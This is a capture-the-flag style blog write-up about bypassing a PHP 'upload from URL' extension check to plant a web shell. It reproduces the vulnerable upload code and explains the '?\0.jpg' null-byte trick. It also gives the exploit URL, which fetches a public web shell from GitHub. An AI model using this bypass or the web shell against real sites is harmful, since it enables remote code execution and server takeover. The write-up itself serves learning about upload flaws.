How I bypass file upload restriction in a web challenge

0xwan
4 min readOct 18, 2021

--

The file upload was validating file extensions and also rename the uploaded file to prevent double extensions trick.

Assalamualaikum and peace be upon you

Hi readers! In this blog I want to share my experience solving a web challenge a few months ago. But I only want to share how I was able to bypass the file upload restriction. This type restriction is what I scared of because if I encounter this type of restriction in real world, I just assume it is a dead end and cant be exploit haha.

GOAL

So this challenge was made by someone and the goal of this challenge is to achieve a remote code execution on his website. In other words I need to upload a php file or web shell to his website. I can only upload the php file after I logged in to the admin panel which mean I need to somehow pwn his admin panel. But in this blog I dont want to talk about how I was able to pwn his admin panel, I just want to share how I bypass his file upload protection.

SCENARIO

So after I was able to access the admin panel I found my target which is the file upload feature. There is 2 file upload features, file upload for document file and for image file. For document I only allowed to upload pdf file and for the image uploader I can upload jpg, png, gif and svg only. Also, each of this functionality also came with a feature to “upload from URL”. You might be thinking of SSRF right? but on that time I was a newbie(I am still a newbie now :P) and I dont know how to exploit it to upload a shell. So I ignored it. I tried the normal “upload from local file” and uploaded an Image and see the result. The image was uploaded to /images path inside the admin panel and the file name was rename by the backend server to some hash value. Then I started to test the uploader with a bunch of common file upload exploit. Since the uploader only accept image file extensions, I tried change the extension using burpsuite to .php and failed. I also tried the double extensions trick but failed because the backend server rename the first extension. To make it easier to understand, my filename was pic.php;.png. I used the double extensions trick but the server rename the pic.php; part to some hashes like hashes.png so my uploaded shell was unable to be execute since it needs .php extension to run php code. This rename trick to mitigate the double extensions trick is what I fear for as a newbie hacker to encounter because I still dont know how to bypass it. And then I remembered that I was able to read all the source codes of the website using XXE injection that I found when I first start playing around the website.

SOURCE CODE REVIEW

So I used the XXE injection to read the file uploader source code and started to find vulnerability that I can exploit to bypass the file upload restrictions. Since I was a newbie(I still am now) it took me hours to figure out how to exploit the uploader. The code was so short so I couldnt find anything to exploit. Then I checked the “upload via URL” code and I started to figure out something. This is the code.

{
$ext = pathinfo(($_POST['url']),PATHINFO_EXTENSION);
if($ext=='jpg' || $ext=='png' || $ext=='gif' || $ext=='svg')
{
$content = base64_encode(file_get_contents($_POST['url']));
$base = parse_url($_POST['url']);
$ext = pathinfo($base['path'],PATHINFO_EXTENSION);
$file = fopen("images/".md5($_POST['fname']).".".$ext,"w");
fwrite($file,base64_decode($content));
fclose($file);
echo "<script>alert('File Uploaded!');window.location.replace(window.location.href)</script>";
}
else
{
echo "<script>alert('Invalid file extension!');window.location.replace(window.location.href)</script>";
}
}

This part I show below is validating the extensions

$ext = pathinfo(($_POST['url']),PATHINFO_EXTENSION);
if($ext=='jpg' || $ext=='png' || $ext=='gif' || $ext=='svg')

So if the url is like https://website.com/images.jpg, the $ext value will be .jpg so the website will not throw an error . But what if the url is https://website.com/shell.php? Of course we will get an error since we use invalid extensions. So how can we change the extensions of the shell file without making the url invalid? Well we dont need to change it just add it like this https://website.com/shell.php?.jpg. When we add something at the end of the url without adding '?', the url will become invalid. So this is just a trick to add valid extension without making the url invalid. But this is not enough because our uploaded filename will have .jpg as extensions so to bypass this I need to add a null byte before the extensions so when the filename are going to be rename, the null byte will make the server ignore .jpg extension and use the .php extensions. So the final url will look like this https://website.com/shell.php?\0.jpg. I used a php null byte. In summary this ?\0.jpg was added to the original shell url.

EXPLOITATION

So I used this web shell source code link https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php to be uploaded to the server. I changed the url -> https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php?\0.jpg and boom my shell was uploaded!! and then I was able to finish the challenge.

--

--